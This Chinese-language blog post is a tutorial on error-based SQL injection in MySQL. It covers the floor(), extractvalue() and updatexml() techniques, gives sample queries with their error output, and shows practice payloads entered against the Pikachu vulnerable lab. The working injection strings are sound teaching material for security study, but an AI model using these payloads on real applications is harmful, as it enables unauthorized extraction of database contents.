SQL注入之报错注入

SQL注入之报错注入

一、报错注入原理

报错注入的原理基于应用程序在处理数据库查询时产生的错误信息。当应用程序执行一个含有恶意SQL代码的查询时,如果查询出错(例如,由于语法错误或权限不足),数据库系统通常会返回一个错误信息给应用程序。这个错误信息可能会包含有关数据库结构的敏感信息,如数据库名称、表名、列名等。攻击者可以利用这些信息来进一步构建更复杂的SQL注入攻击,以获取更多的数据库内容。

二、报错注入方法

报错注入的方法多种多样,常见的有以下几种:

① floor()报错注入

‌注:floor报错注入在MySQL版本8.0中已失效‌。

原理

通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

常见语句

SELECT COUNT(*),CONCAT((SELECT USER()),FLOOR(RAND(0)*2)) AS a FROM information_schema.tables GROUP BY a;
-- 结果: ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'
  • floor函数:返回小于等于括号内该值的最大整数。
  • rand函数:随机产生一个在0和1之间的小数。rand(0)中的0是固定的随机数的种子0,也就是说每次随机值是固定的;floor(rand(0)*2))则会伪随机0或1。
  • count函数:用于统计记录的数量
  • group by:用于分组

为什么查询语句会报错ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'呢?

实际上该语句在查询过程中会产生虚拟表,在插入虚拟表的过程中,因为插入了一个重复的值,所以就会抛出主键冗余的异常。具体原因可查看Mysql报错注入之函数分析

② extractvalue()报错注入

注:extractvalue报错适用于MySQL 5.1.5+ 版本

原理

通过在extractvalue函数的第二个参数注入一个无效的Xpath表达式,导致函数报错,从而获取数据。

常见语句

SELECT EXTRACTVALUE(RAND(),CONCAT(0x7e,(SELECT USER()),0x7e));
-- 结果: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
  • extractvalue函数extractvalue(xml_frag, xpath_expr)xml_frag是XML片段,xpath_expr是Xpath表达式。
  • concat函数:字符串拼接函数。

③ updatexml()报错注入

注:updatexml报错适用于MySQL 5.1.5+ 版本

原理

通过在updatexml函数的第二个参数注入不符合Xpath语法的表达式,从而引起数据库报错,并通过错误信息获取数据。

常见语句

SELECT UPDATEXML('x',CONCAT('~',(SELECT USER()),'~'),'x');
-- 结果: ERROR 1105 (HY000): XPATH syntax error: '~oot@localhost~'
  • updatexml函数updatexml(xml_document, XPath_string, new_value)xml_document是XML文档对象,XPath_string是Xpath路径表达式,new_value是更新后的内容。
  • concat函数:字符串拼接函数。

④ 其他报错注入

除了上述常见的报错函数外,还有其他一些函数(如exp()join等)也可以用于报错注入。这些函数在特定条件下可以触发数据库错误,从而泄露敏感信息。

三、报错注入实例

① floor()实例

在Pikachu中,进行实践。在输入框输入:1' union select count(*),1,concat((select user()),floor(rand(0)*2))as a from information_schema.tables group by a #

image

结果: Duplicate entry 'root@localhost1' for key 'group_key'

image

② extractvalue()实例

在Pikachu中,进行实践。在输入框输入:1' and (select extractvalue(rand(),concat(0x7e,(select user())))) #

image

结果: XPATH syntax error: '~root@localhost'

image

③ updatexml()实例

在Pikachu中,进行实践。在输入框输入:1' and updatexml('x',concat('~',(select user()),'~'),'x') #

image

结果: XPATH syntax error: '~root@localhost~'

image

posted @   测试小罡  阅读(94)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 推荐几款开源且免费的 .NET MAUI 组件库
· 实操Deepseek接入个人知识库
· 易语言 —— 开山篇
· 【全网最全教程】使用最强DeepSeekR1+联网的火山引擎,没有生成长度限制,DeepSeek本体
点击右上角即可分享
微信分享提示